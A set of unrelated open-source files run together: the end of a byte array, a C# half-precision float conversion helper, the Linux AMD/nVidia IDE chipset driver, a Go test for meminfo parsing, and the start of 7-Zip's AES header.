0x0b, 0x26, 0x17, 0x7d, 0xe7, 0xa5, 0xe2, 0x28, 0x1e, 0x59, 0x0b, 0x70, 0x7a, 0x38, 0xa4, 0xa6,
0xe2, 0x70, 0x9b, 0x5b, 0xcc, 0xdf, 0x82, 0x26, 0x20, 0x7f, 0x93, 0x6a, 0xeb, 0xd8, 0xe0, 0x79,
0x3f, 0x3c, 0x29, 0xdf, 0x01, 0x12, 0x45, 0x02, 0x21, 0xbc, 0x16, 0xbe, 0xc7, 0xf3, 0x41, 0x0c,
0x29, 0x8f, 0x4b, 0x95, 0x7f, 0x11, 0x40, 0xd2, 0xbd, 0xbb, 0x82, 0xf3, 0x36, 0x85, 0xf1, 0x16,
0xa4, 0x76, 0x30, 0x69, 0x74, 0x62, 0x20, 0xe9, 0x32, 0x92, 0x57, 0x68, 0x4c, 0xf2, 0xd0, 0x9c,
0xc6, 0x4f, 0xd9, 0xbc, 0x84, 0x22, 0xc6, 0x49, 0x28, 0xc9, 0xd3, 0x12, 0xca, 0x74, 0x50, 0x07,
0x1c, 0xd4, 0x97, 0x70, 0xb1, 0x3f, 0xf2, 0x5c, 0xd4, 0x3d, 0x9b, 0xbb, 0xe8, 0xe9, 0xc7, 0xbb,
0x4e, 0x9c, 0x88, 0xe5, 0xc4, 0x71, 0x23, 0x8c, 0x7e, 0xfe, 0x11, 0xe6, 0x2b, 0xea, 0x39, 0x95,
0xfa, 0x3f, 0x23, 0xc6, 0x34, 0xd1, 0x14, 0x61, 0x59, 0xe3, 0x44, 0x19, 0x72, 0x03, 0xd2, 0x56,
0xb7, 0xeb, 0x94, 0x26, 0x79, 0x83, 0x4f, 0x95, 0xd7, 0xd0, 0xcf, 0xdc, 0x03, 0xe2, 0x27, 0x9d,
0xc7, 0x3e, 0x80, 0x2f, 0xc1, 0x3b, 0xb1, 0x3b, 0xa0, 0x4b, 0x68, 0x77, 0xe0, 0x83, 0x90, 0xe3,
0xc1, 0xf5, 0x35, 0x6c, 0x2a, 0x26, 0x11, 0x69, 0xad, 0xdc, 0xb3, 0x8c, 0xa3, 0x5b, 0xbc, 0xf4,
0x76, 0x3f, 0xe4, 0xcf, 0x04, 0x98, 0xe5, 0xa1, 0xe5, 0xfc, 0xa3, 0x30, 0xed, 0x16, 0x44, 0xbf,
0x5b, 0x60, 0xa5, 0x07, 0x0b, 0x6d, 0x6e, 0x00, 0x9e, 0x0b, 0x05, 0x60, 0x2f, 0xb0, 0xad, 0x62,
0x9f, 0xe6, 0xca, 0x43, 0x6f, 0x49, 0xd2, 0x36, 0x1c, 0xaf, 0xfa, 0x1b, 0x09, 0x85, 0x8c, 0x88,
0x45, 0x43, 0xda, 0xab, 0x71, 0xa8, 0xde, 0xac, 0x12, 0xe3, 0x7a, 0xb3, 0xb2, 0x4b, 0x72, 0xcb,
0x2e, 0xde, 0xb5, 0xe0, 0x50, 0xfe, 0x55, 0x00, 0x50, 0x4a, 0x0a, 0x8d, 0xd7, 0xe7, 0xef, 0xfb,
0x58, 0xb2, 0x1a, 0xcc, 0xef, 0xc4, 0x31, 0x76, 0x76, 0x49, 0x67, 0x4e, 0x47, 0xd8, 0x38, 0xd8,
0x9e, 0x37, 0x4c, 0x8e, 0x9f, 0x43, 0x1e, 0xf9, 0x0b, 0x11, 0xb2, 0xbe, 0xa6, 0x78, 0x73, 0x6e,
0x47, 0x1a, 0xdf, 0xff, 0x78, 0xab, 0x03, 0x4c, 0x63, 0x7a, 0xdf, 0x18, 0xbe, 0x1b, 0x12, 0x4d,
0x8c, 0x21, 0xda, 0x27, 0x89, 0x50, 0x3f, 0xbd, 0x08, 0xf3, 0x9b, 0x8d, 0x4a, 0xa5, 0x59, 0x6f,
0x94, 0x4a, 0x6a, 0xbd, 0x8e, 0x63, 0x6c, 0xae, 0x2f, 0x02, 0xd9, 0x56, 0x34, 0xbd, 0xac, 0x84,
0xe6, 0x05, 0xb2, 0x0c, 0x8b, 0xd5, 0x5a, 0x53, 0xd1, 0x75, 0xad, 0x7c, 0xaf, 0xa1, 0xab, 0xf5,
0xe6, 0x66, 0xad, 0x51, 0xdd, 0x90, 0xd2, 0x68, 0xff, 0xfc, 0xa6, 0x52, 0xae, 0x34, 0x34, 0xb5,
0xb9, 0x55, 0xae, 0x3e, 0x54, 0x2a, 0xd2, 0x1e, 0xc9, 0xc2, 0x2c, 0x9f, 0x93, 0xa8, 0x53, 0x66,
0xef, 0x29, 0x1b, 0x4d, 0x4d, 0x7d, 0xbf, 0xa1, 0xd6, 0x75, 0xe9, 0x3b, 0x81, 0xce, 0x50, 0x72,
0xb3, 0x8a, 0x7f, 0x7a, 0x5d, 0xfa, 0x3e, 0x3c, 0x53, 0xde, 0x90, 0x7e, 0x10, 0x50, 0xb8, 0xbc,
0x3f, 0xa3, 0x96, 0x54, 0x4d, 0x97, 0x7e, 0xa4, 0x42, 0x10, 0x7f, 0xb2, 0x5e, 0x7e, 0xb7, 0xaa,
0xe8, 0xf4, 0x88, 0x27, 0x02, 0x16, 0xcf, 0x8b, 0x3e, 0x61, 0x28, 0xa3, 0xf4, 0xd4, 0xdf, 0x87,
0x89, 0xa7, 0x7c, 0x48, 0xc5, 0x7b, 0x2a, 0x14, 0x13, 0x92, 0x20, 0x7f, 0x8e, 0x05, 0x3d, 0x9a,
0xc0, 0xaf, 0x8e, 0x9f, 0xd7, 0x2d, 0x7d, 0xa7, 0x4b, 0x4c, 0x76, 0xba, 0xe7, 0xb6, 0xd0, 0xc7,
0x98, 0x28, 0xc2, 0x42, 0xa1, 0x07, 0xdd, 0x89, 0x78, 0xd0, 0xd5, 0x80, 0x07, 0x85, 0x38, 0xc7,
0xb9, 0x11, 0x5e, 0xc5, 0x2d, 0xdb, 0xcd, 0x4f, 0x19, 0x4d, 0x3c, 0xb6, 0x0f, 0xe4, 0xeb, 0x21,
0x27, 0x40, 0x53, 0x71, 0x3b, 0xa3, 0xf1, 0x83, 0x76, 0x63, 0xb2, 0x44, 0x7b, 0x87, 0xc9, 0xb2,
0x44, 0x39, 0xcf, 0x57, 0x96, 0x27, 0x02, 0xe4, 0xf8, 0x7d, 0x79, 0x8e, 0x72, 0x0f, 0x1b, 0xb4,
0xbc, 0x3f, 0xf1, 0xb0, 0xd5, 0xee, 0x1b, 0x3c, 0x24, 0x45, 0x66, 0xc9, 0x9b, 0x90, 0x79, 0xd4,
0x6a, 0x9b, 0x7b, 0x9b, 0x56, 0xf7, 0x98, 0xdb, 0x69, 0x9a, 0xf9, 0x87, 0xcc, 0xe4, 0x75, 0x98,
0x65, 0x1f, 0x7a, 0x97, 0x67, 0xd5, 0x69, 0xeb, 0x3c, 0xd6, 0x9b, 0xff, 0x07, 0x18, 0x3e, 0xd1,
0x90, 0x0c, 0xa4, 0xd4, 0xd2, 0x46, 0x5d, 0x41, 0xa5, 0x67, 0x41, 0xd4, 0x70, 0x20, 0xd0, 0x01,
0x9d, 0x49, 0xdc, 0xdc, 0x82, 0x24, 0xad, 0xe3, 0x48, 0x1a, 0x92, 0xd5, 0x5a, 0x55, 0x45, 0x1e,
0x80, 0x99, 0x52, 0xa5, 0xac, 0x56, 0x75, 0x64, 0xc3, 0xd9, 0x6d, 0x55, 0xd5, 0xa4, 0x04, 0x99,
0x83, 0x0c, 0x3a, 0x77, 0x79, 0x43, 0xd1, 0x6b, 0x9a, 0x94, 0xa4, 0xe8, 0x29, 0x8d, 0x8d, 0x32,
0xfd, 0x48, 0xe3, 0x01, 0xa2, 0x52, 0xa9, 0x48, 0xcf, 0x9e, 0x89, 0x6b, 0x5f, 0x27, 0x20, 0xa9,
0x96, 0x94, 0x6d, 0xac, 0x5b, 0x17, 0x68, 0xf6, 0x2d, 0x29, 0xd4, 0x51, 0xcd, 0x7d, 0x73, 0x17,
0x33, 0x3d, 0xf1, 0xd3, 0x03, 0x7b, 0x4c, 0x2b, 0x86, 0x7c, 0x9a, 0xdc, 0x87, 0x0b, 0x6e, 0x41,
0x10, 0x58, 0xc1, 0x32, 0x80, 0x1f, 0x46, 0xc3, 0x4f, 0x02, 0xc5, 0xe5, 0xb1, 0xf3, 0xe8, 0xd0,
0x77, 0x61, 0x91, 0x9d, 0x1d, 0xd9, 0x67, 0x29, 0xc4, 0xcf, 0x6b, 0x83, 0xe2, 0x48, 0x57, 0x4d,
0xd6, 0xe1, 0x42, 0x64, 0xf9, 0xbd, 0x01, 0x7b, 0xbd, 0xf3, 0xe5, 0xa5, 0x5f, 0x11, 0xe9, 0x15,
0xba, 0x88, 0x56, 0x0e, 0xd3, 0xa5, 0xf7, 0xab, 0x8b, 0xc0, 0xb9, 0xfc, 0x81, 0x72, 0xed, 0x37,
0x81, 0x61, 0xa7, 0x60, 0x48, 0xcf, 0x05, 0x5f, 0xb1, 0xc8, 0x72, 0xf8, 0x25, 0xc9, 0x7f, 0xdb,
0x2a, 0x86, 0x9b, 0x75, 0x5c, 0x97, 0x0d, 0x3c, 0x17, 0x0d, 0x4f, 0x0e, 0xbf, 0x21, 0x15, 0xe7,
0x83, 0x4f, 0x2e, 0x94, 0xf1, 0x2e, 0xb5, 0x55, 0x44, 0xf6, 0xf8, 0x72, 0x23, 0x5e, 0xc0, 0xea,
0x40, 0xfb, 0x10, 0xab, 0x5a, 0xb2, 0x18, 0xb6, 0x0a, 0xab, 0x73, 0xc7, 0x28, 0xfb, 0x29, 0x3a,
0x8a, 0x7e, 0x36, 0x47, 0xd9, 0x82, 0xa5, 0x11, 0x47, 0xa1, 0x6a, 0x5c, 0x0a, 0xa5, 0xdb, 0x60,
0x33, 0x5a, 0x2c, 0x4e, 0x22, 0x31, 0x6f, 0x99, 0xa6, 0xbd, 0x7e, 0x9a, 0xf6, 0x25, 0x58, 0x1a,
0x59, 0x3e, 0x2a, 0x4d, 0xb0, 0xef, 0x18, 0x83, 0xc6, 0xb7, 0x02, 0x43, 0x43, 0xf9, 0x3b, 0x08,
0x33, 0xc9, 0x9e, 0xfa, 0x54, 0x7b, 0xfe, 0x21, 0xc0, 0x0c, 0xad, 0xa0, 0xcf, 0x78, 0xf5, 0x17,
0x46, 0x2c, 0x4a, 0xfc, 0x07, 0xa6, 0x68, 0x67, 0x53, 0xbc, 0x34, 0x81, 0x82, 0xc6, 0x7c, 0x83,
0x3e, 0x00, 0x87, 0xee, 0x6e, 0x00, 0xbd, 0x50, 0x53, 0x10, 0x11, 0xe1, 0x9d, 0x71, 0xc0, 0x17,
0x46, 0x96, 0x4e, 0xbe, 0xbd, 0x65, 0xae, 0xbf, 0xf2, 0xe2, 0x5b, 0x7d, 0x83, 0xde, 0xa0, 0x9c,
0x0d, 0xc9, 0xb7, 0xe9, 0x8a, 0x93, 0x3e, 0x26, 0x04, 0x65, 0x58, 0x63, 0x92, 0x91, 0x92, 0xf0,
0xa4, 0xb8, 0x38, 0xa6, 0x4c, 0x24, 0x1b, 0x58, 0xb1, 0x79, 0x79, 0x96, 0xaf, 0x5d, 0x1e, 0x5f,
0x0c, 0x9c, 0x14, 0x0b, 0x93, 0xaa, 0x84, 0x1d, 0xf7, 0xff, 0x37, 0xeb, 0x7f, 0x06, 0x00, 0x00,
0xff, 0xff, 0x9f, 0x47, 0x1c, 0x48, 0xd2, 0x19, 0x00, 0x00,
}
| {
"pile_set_name": "Github"
} |
using System.Runtime.InteropServices;
namespace System
{
/// <summary>
/// Helper class for Half conversions and some low level operations.
/// This class is internally used in the Half class.
/// </summary>
/// <remarks>
/// References:
/// - Fast Half Float Conversions, Jeroen van der Zijp, link: http://www.fox-toolkit.org/ftp/fasthalffloatconversion.pdf
/// </remarks>
[ComVisible(false)]
internal static class HalfHelper
{
private static readonly uint[] mantissaTable = GenerateMantissaTable();
private static readonly uint[] exponentTable = GenerateExponentTable();
private static readonly ushort[] offsetTable = GenerateOffsetTable();
private static readonly ushort[] baseTable = GenerateBaseTable();
private static readonly sbyte[] shiftTable = GenerateShiftTable();
// Transforms the subnormal representation to a normalized one.
private static uint ConvertMantissa(uint i)
{
uint m = i << 13; // Zero pad mantissa bits
uint e = 0; // Zero exponent
// While not normalized
while ((m & 0x00800000U) == 0)
{
e = unchecked(e - 0x00800000U); // Decrement exponent (1<<23)
m <<= 1; // Shift mantissa
}
m &= ~0x00800000U; // Clear leading 1 bit
e = unchecked(e + 0x38800000U); // Adjust bias ((127-14)<<23)
return m | e; // Return combined number
}
private static uint[] GenerateMantissaTable()
{
uint[] mantissaTable = new uint[2048];
mantissaTable[0] = 0;
for (uint i = 1; i < 1024; i++)
{
mantissaTable[i] = ConvertMantissa(i);
}
for (uint i = 1024; i < 2048; i++)
{
mantissaTable[i] = 0x38000000U + ((i - 1024) << 13);
}
return mantissaTable;
}
private static uint[] GenerateExponentTable()
{
uint[] exponentTable = new uint[64];
exponentTable[0] = 0;
for (uint i = 1; i < 31; i++)
{
exponentTable[i] = i << 23;
}
exponentTable[31] = 0x47800000U;
exponentTable[32] = 0x80000000U;
for (uint i = 33; i < 63; i++)
{
exponentTable[i] = 0x80000000U + ((i - 32) << 23);
}
exponentTable[63] = 0xc7800000U;
return exponentTable;
}
private static ushort[] GenerateOffsetTable()
{
ushort[] offsetTable = new ushort[64];
offsetTable[0] = 0;
for (int i = 1; i < 32; i++)
{
offsetTable[i] = 1024;
}
offsetTable[32] = 0;
for (int i = 33; i < 64; i++)
{
offsetTable[i] = 1024;
}
return offsetTable;
}
private static ushort[] GenerateBaseTable()
{
ushort[] baseTable = new ushort[512];
for (int i = 0; i < 256; ++i)
{
sbyte e = (sbyte)(127 - i);
if (e > 24)
{ // Very small numbers map to zero
baseTable[i | 0x000] = 0x0000;
baseTable[i | 0x100] = 0x8000;
}
else if (e > 14)
{ // Small numbers map to denorms
baseTable[i | 0x000] = (ushort)(0x0400 >> (18 + e));
baseTable[i | 0x100] = (ushort)((0x0400 >> (18 + e)) | 0x8000);
}
else if (e >= -15)
{ // Normal numbers just lose precision
baseTable[i | 0x000] = (ushort)((15 - e) << 10);
baseTable[i | 0x100] = (ushort)(((15 - e) << 10) | 0x8000);
}
else if (e > -128)
{ // Large numbers map to Infinity
baseTable[i | 0x000] = 0x7c00;
baseTable[i | 0x100] = 0xfc00;
}
else
{ // Infinity and NaN's stay Infinity and NaN's
baseTable[i | 0x000] = 0x7c00;
baseTable[i | 0x100] = 0xfc00;
}
}
return baseTable;
}
private static sbyte[] GenerateShiftTable()
{
sbyte[] shiftTable = new sbyte[512];
for (int i = 0; i < 256; ++i)
{
sbyte e = (sbyte)(127 - i);
if (e > 24)
{ // Very small numbers map to zero
shiftTable[i | 0x000] = 24;
shiftTable[i | 0x100] = 24;
}
else if (e > 14)
{ // Small numbers map to denorms
shiftTable[i | 0x000] = (sbyte)(e - 1);
shiftTable[i | 0x100] = (sbyte)(e - 1);
}
else if (e >= -15)
{ // Normal numbers just lose precision
shiftTable[i | 0x000] = 13;
shiftTable[i | 0x100] = 13;
}
else if (e > -128)
{ // Large numbers map to Infinity
shiftTable[i | 0x000] = 24;
shiftTable[i | 0x100] = 24;
}
else
{ // Infinity and NaN's stay Infinity and NaN's
shiftTable[i | 0x000] = 13;
shiftTable[i | 0x100] = 13;
}
}
return shiftTable;
}
public static float HalfToSingle(Half half)
{
uint result = mantissaTable[offsetTable[half.value >> 10] + (half.value & 0x3ff)] + exponentTable[half.value >> 10];
byte[] uintBytes = BitConverter.GetBytes(result);
return BitConverter.ToSingle(uintBytes, 0);
}
public static Half SingleToHalf(float single)
{
byte[] singleBytes = BitConverter.GetBytes(single);
uint value = BitConverter.ToUInt32(singleBytes, 0);
ushort result = (ushort)(baseTable[(value >> 23) & 0x1ff] + ((value & 0x007fffff) >> shiftTable[value >> 23]));
return Half.ToHalf(result);
}
public static Half Negate(Half half)
{
return Half.ToHalf((ushort)(half.value ^ 0x8000));
}
public static Half Abs(Half half)
{
return Half.ToHalf((ushort)(half.value & 0x7fff));
}
public static bool IsNaN(Half half)
{
return ((half.value & 0x7fff) > 0x7c00);
}
public static bool IsInfinity(Half half)
{
return ((half.value & 0x7fff) == 0x7c00);
}
public static bool IsPositiveInfinity(Half half)
{
return (half.value == 0x7c00);
}
public static bool IsNegativeInfinity(Half half)
{
return (half.value == 0xfc00);
}
}
} | {
"pile_set_name": "Github"
} |
// SPDX-License-Identifier: GPL-2.0-only
/*
* AMD 755/756/766/8111 and nVidia nForce/2/2s/3/3s/CK804/MCP04
* IDE driver for Linux.
*
* Copyright (c) 2000-2002 Vojtech Pavlik
* Copyright (c) 2007-2010 Bartlomiej Zolnierkiewicz
*
* Based on the work of:
* Andre Hedrick
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/pci.h>
#include <linux/init.h>
#include <linux/ide.h>
#define DRV_NAME "amd74xx"
enum {
AMD_IDE_CONFIG = 0x41,
AMD_CABLE_DETECT = 0x42,
AMD_DRIVE_TIMING = 0x48,
AMD_8BIT_TIMING = 0x4e,
AMD_ADDRESS_SETUP = 0x4c,
AMD_UDMA_TIMING = 0x50,
};
static unsigned int amd_80w;
static unsigned int amd_clock;
static char *amd_dma[] = { "16", "25", "33", "44", "66", "100", "133" };
static unsigned char amd_cyc2udma[] = { 6, 6, 5, 4, 0, 1, 1, 2, 2, 3, 3, 3, 3, 3, 3, 7 };
static inline u8 amd_offset(struct pci_dev *dev)
{
return (dev->vendor == PCI_VENDOR_ID_NVIDIA) ? 0x10 : 0;
}
/*
* amd_set_speed() writes timing values to the chipset registers
*/
static void amd_set_speed(struct pci_dev *dev, u8 dn, u8 udma_mask,
struct ide_timing *timing)
{
u8 t = 0, offset = amd_offset(dev);
pci_read_config_byte(dev, AMD_ADDRESS_SETUP + offset, &t);
t = (t & ~(3 << ((3 - dn) << 1))) | ((clamp_val(timing->setup, 1, 4) - 1) << ((3 - dn) << 1));
pci_write_config_byte(dev, AMD_ADDRESS_SETUP + offset, t);
pci_write_config_byte(dev, AMD_8BIT_TIMING + offset + (1 - (dn >> 1)),
((clamp_val(timing->act8b, 1, 16) - 1) << 4) | (clamp_val(timing->rec8b, 1, 16) - 1));
pci_write_config_byte(dev, AMD_DRIVE_TIMING + offset + (3 - dn),
((clamp_val(timing->active, 1, 16) - 1) << 4) | (clamp_val(timing->recover, 1, 16) - 1));
switch (udma_mask) {
case ATA_UDMA2: t = timing->udma ? (0xc0 | (clamp_val(timing->udma, 2, 5) - 2)) : 0x03; break;
case ATA_UDMA4: t = timing->udma ? (0xc0 | amd_cyc2udma[clamp_val(timing->udma, 2, 10)]) : 0x03; break;
case ATA_UDMA5: t = timing->udma ? (0xc0 | amd_cyc2udma[clamp_val(timing->udma, 1, 10)]) : 0x03; break;
case ATA_UDMA6: t = timing->udma ? (0xc0 | amd_cyc2udma[clamp_val(timing->udma, 1, 15)]) : 0x03; break;
default: return;
}
if (timing->udma)
pci_write_config_byte(dev, AMD_UDMA_TIMING + offset + 3 - dn, t);
}
/*
* amd_set_drive() computes timing values and configures the chipset
* to a desired transfer mode. It also can be called by upper layers.
*/
static void amd_set_drive(ide_hwif_t *hwif, ide_drive_t *drive)
{
struct pci_dev *dev = to_pci_dev(hwif->dev);
ide_drive_t *peer = ide_get_pair_dev(drive);
struct ide_timing t, p;
int T, UT;
u8 udma_mask = hwif->ultra_mask;
const u8 speed = drive->dma_mode;
T = 1000000000 / amd_clock;
UT = (udma_mask == ATA_UDMA2) ? T : (T / 2);
ide_timing_compute(drive, speed, &t, T, UT);
if (peer) {
ide_timing_compute(peer, peer->pio_mode, &p, T, UT);
ide_timing_merge(&p, &t, &t, IDE_TIMING_8BIT);
}
if (speed == XFER_UDMA_5 && amd_clock <= 33333) t.udma = 1;
if (speed == XFER_UDMA_6 && amd_clock <= 33333) t.udma = 15;
amd_set_speed(dev, drive->dn, udma_mask, &t);
}
/*
* amd_set_pio_mode() is a callback from upper layers for PIO-only tuning.
*/
static void amd_set_pio_mode(ide_hwif_t *hwif, ide_drive_t *drive)
{
drive->dma_mode = drive->pio_mode;
amd_set_drive(hwif, drive);
}
static void amd7409_cable_detect(struct pci_dev *dev)
{
/* no host side cable detection */
amd_80w = 0x03;
}
static void amd7411_cable_detect(struct pci_dev *dev)
{
int i;
u32 u = 0;
u8 t = 0, offset = amd_offset(dev);
pci_read_config_byte(dev, AMD_CABLE_DETECT + offset, &t);
pci_read_config_dword(dev, AMD_UDMA_TIMING + offset, &u);
amd_80w = ((t & 0x3) ? 1 : 0) | ((t & 0xc) ? 2 : 0);
for (i = 24; i >= 0; i -= 8)
if (((u >> i) & 4) && !(amd_80w & (1 << (1 - (i >> 4))))) {
printk(KERN_WARNING DRV_NAME " %s: BIOS didn't set "
"cable bits correctly. Enabling workaround.\n",
pci_name(dev));
amd_80w |= (1 << (1 - (i >> 4)));
}
}
/*
* The initialization callback. Initialize drive independent registers.
*/
static int init_chipset_amd74xx(struct pci_dev *dev)
{
u8 t = 0, offset = amd_offset(dev);
/*
* Check 80-wire cable presence.
*/
if (dev->vendor == PCI_VENDOR_ID_AMD &&
dev->device == PCI_DEVICE_ID_AMD_COBRA_7401)
; /* no UDMA > 2 */
else if (dev->vendor == PCI_VENDOR_ID_AMD &&
dev->device == PCI_DEVICE_ID_AMD_VIPER_7409)
amd7409_cable_detect(dev);
else
amd7411_cable_detect(dev);
/*
* Take care of prefetch & postwrite.
*/
pci_read_config_byte(dev, AMD_IDE_CONFIG + offset, &t);
/*
* Check for broken FIFO support.
*/
if (dev->vendor == PCI_VENDOR_ID_AMD &&
dev->device == PCI_DEVICE_ID_AMD_VIPER_7411)
t &= 0x0f;
else
t |= 0xf0;
pci_write_config_byte(dev, AMD_IDE_CONFIG + offset, t);
return 0;
}
static u8 amd_cable_detect(ide_hwif_t *hwif)
{
if ((amd_80w >> hwif->channel) & 1)
return ATA_CBL_PATA80;
else
return ATA_CBL_PATA40;
}
static const struct ide_port_ops amd_port_ops = {
.set_pio_mode = amd_set_pio_mode,
.set_dma_mode = amd_set_drive,
.cable_detect = amd_cable_detect,
};
#define IDE_HFLAGS_AMD \
(IDE_HFLAG_PIO_NO_BLACKLIST | \
IDE_HFLAG_POST_SET_MODE | \
IDE_HFLAG_IO_32BIT | \
IDE_HFLAG_UNMASK_IRQS)
#define DECLARE_AMD_DEV(swdma, udma) \
{ \
.name = DRV_NAME, \
.init_chipset = init_chipset_amd74xx, \
.enablebits = {{0x40,0x02,0x02}, {0x40,0x01,0x01}}, \
.port_ops = &amd_port_ops, \
.host_flags = IDE_HFLAGS_AMD, \
.pio_mask = ATA_PIO5, \
.swdma_mask = swdma, \
.mwdma_mask = ATA_MWDMA2, \
.udma_mask = udma, \
}
#define DECLARE_NV_DEV(udma) \
{ \
.name = DRV_NAME, \
.init_chipset = init_chipset_amd74xx, \
.enablebits = {{0x50,0x02,0x02}, {0x50,0x01,0x01}}, \
.port_ops = &amd_port_ops, \
.host_flags = IDE_HFLAGS_AMD, \
.pio_mask = ATA_PIO5, \
.swdma_mask = ATA_SWDMA2, \
.mwdma_mask = ATA_MWDMA2, \
.udma_mask = udma, \
}
static const struct ide_port_info amd74xx_chipsets[] = {
/* 0: AMD7401 */ DECLARE_AMD_DEV(0x00, ATA_UDMA2),
/* 1: AMD7409 */ DECLARE_AMD_DEV(ATA_SWDMA2, ATA_UDMA4),
/* 2: AMD7411/7441 */ DECLARE_AMD_DEV(ATA_SWDMA2, ATA_UDMA5),
/* 3: AMD8111 */ DECLARE_AMD_DEV(ATA_SWDMA2, ATA_UDMA6),
/* 4: NFORCE */ DECLARE_NV_DEV(ATA_UDMA5),
/* 5: >= NFORCE2 */ DECLARE_NV_DEV(ATA_UDMA6),
/* 6: AMD5536 */ DECLARE_AMD_DEV(ATA_SWDMA2, ATA_UDMA5),
};
static int amd74xx_probe(struct pci_dev *dev, const struct pci_device_id *id)
{
struct ide_port_info d;
u8 idx = id->driver_data;
d = amd74xx_chipsets[idx];
/*
* Check for bad SWDMA and incorrectly wired Serenade mainboards.
*/
if (idx == 1) {
if (dev->revision <= 7)
d.swdma_mask = 0;
d.host_flags |= IDE_HFLAG_CLEAR_SIMPLEX;
} else if (idx == 3) {
if (dev->subsystem_vendor == PCI_VENDOR_ID_AMD &&
dev->subsystem_device == PCI_DEVICE_ID_AMD_SERENADE)
d.udma_mask = ATA_UDMA5;
}
/*
* It seems that on some nVidia controllers using AltStatus
* register can be unreliable so default to Status register
* if the device is in Compatibility Mode.
*/
if (dev->vendor == PCI_VENDOR_ID_NVIDIA &&
ide_pci_is_in_compatibility_mode(dev))
d.host_flags |= IDE_HFLAG_BROKEN_ALTSTATUS;
printk(KERN_INFO "%s %s: UDMA%s controller\n",
d.name, pci_name(dev), amd_dma[fls(d.udma_mask) - 1]);
/*
* Determine the system bus clock.
*/
amd_clock = (ide_pci_clk ? ide_pci_clk : 33) * 1000;
switch (amd_clock) {
case 33000: amd_clock = 33333; break;
case 37000: amd_clock = 37500; break;
case 41000: amd_clock = 41666; break;
}
if (amd_clock < 20000 || amd_clock > 50000) {
printk(KERN_WARNING "%s: User given PCI clock speed impossible"
" (%d), using 33 MHz instead.\n",
d.name, amd_clock);
amd_clock = 33333;
}
return ide_pci_init_one(dev, &d, NULL);
}
static const struct pci_device_id amd74xx_pci_tbl[] = {
{ PCI_VDEVICE(AMD, PCI_DEVICE_ID_AMD_COBRA_7401), 0 },
{ PCI_VDEVICE(AMD, PCI_DEVICE_ID_AMD_VIPER_7409), 1 },
{ PCI_VDEVICE(AMD, PCI_DEVICE_ID_AMD_VIPER_7411), 2 },
{ PCI_VDEVICE(AMD, PCI_DEVICE_ID_AMD_OPUS_7441), 2 },
{ PCI_VDEVICE(AMD, PCI_DEVICE_ID_AMD_8111_IDE), 3 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE_IDE), 4 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE2_IDE), 5 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE2S_IDE), 5 },
#ifdef CONFIG_BLK_DEV_IDE_SATA
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE2S_SATA), 5 },
#endif
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE3_IDE), 5 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE3S_IDE), 5 },
#ifdef CONFIG_BLK_DEV_IDE_SATA
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE3S_SATA), 5 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE3S_SATA2), 5 },
#endif
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE_CK804_IDE), 5 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE_MCP04_IDE), 5 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE_MCP51_IDE), 5 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE_MCP55_IDE), 5 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE_MCP61_IDE), 5 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE_MCP65_IDE), 5 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE_MCP67_IDE), 5 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE_MCP73_IDE), 5 },
{ PCI_VDEVICE(NVIDIA, PCI_DEVICE_ID_NVIDIA_NFORCE_MCP77_IDE), 5 },
{ PCI_VDEVICE(AMD, PCI_DEVICE_ID_AMD_CS5536_IDE), 6 },
{ 0, },
};
MODULE_DEVICE_TABLE(pci, amd74xx_pci_tbl);
static struct pci_driver amd74xx_pci_driver = {
.name = "AMD_IDE",
.id_table = amd74xx_pci_tbl,
.probe = amd74xx_probe,
.remove = ide_pci_remove,
.suspend = ide_pci_suspend,
.resume = ide_pci_resume,
};
static int __init amd74xx_ide_init(void)
{
return ide_pci_register_driver(&amd74xx_pci_driver);
}
static void __exit amd74xx_ide_exit(void)
{
pci_unregister_driver(&amd74xx_pci_driver);
}
module_init(amd74xx_ide_init);
module_exit(amd74xx_ide_exit);
MODULE_AUTHOR("Vojtech Pavlik, Bartlomiej Zolnierkiewicz");
MODULE_DESCRIPTION("AMD PCI IDE driver");
MODULE_LICENSE("GPL");
| {
"pile_set_name": "Github"
} |
// +build linux freebsd
package system
import (
"strings"
"testing"
"github.com/docker/go-units"
)
// TestMemInfo tests parseMemInfo with a static meminfo string
func TestMemInfo(t *testing.T) {
const input = `
MemTotal: 1 kB
MemFree: 2 kB
SwapTotal: 3 kB
SwapFree: 4 kB
Malformed1:
Malformed2: 1
Malformed3: 2 MB
Malformed4: X kB
`
meminfo, err := parseMemInfo(strings.NewReader(input))
if err != nil {
t.Fatal(err)
}
if meminfo.MemTotal != 1*units.KiB {
t.Fatalf("Unexpected MemTotal: %d", meminfo.MemTotal)
}
if meminfo.MemFree != 2*units.KiB {
t.Fatalf("Unexpected MemFree: %d", meminfo.MemFree)
}
if meminfo.SwapTotal != 3*units.KiB {
t.Fatalf("Unexpected SwapTotal: %d", meminfo.SwapTotal)
}
if meminfo.SwapFree != 4*units.KiB {
t.Fatalf("Unexpected SwapFree: %d", meminfo.SwapFree)
}
}
| {
"pile_set_name": "Github"
} |
/* Aes.h -- AES encryption / decryption
2013-01-18 : Igor Pavlov : Public domain */
#ifndef __AES_H
#define __AES_H
#include "7zTypes.h"
EXTERN_C_BEGIN
#define AES_BLOCK_SIZE 16
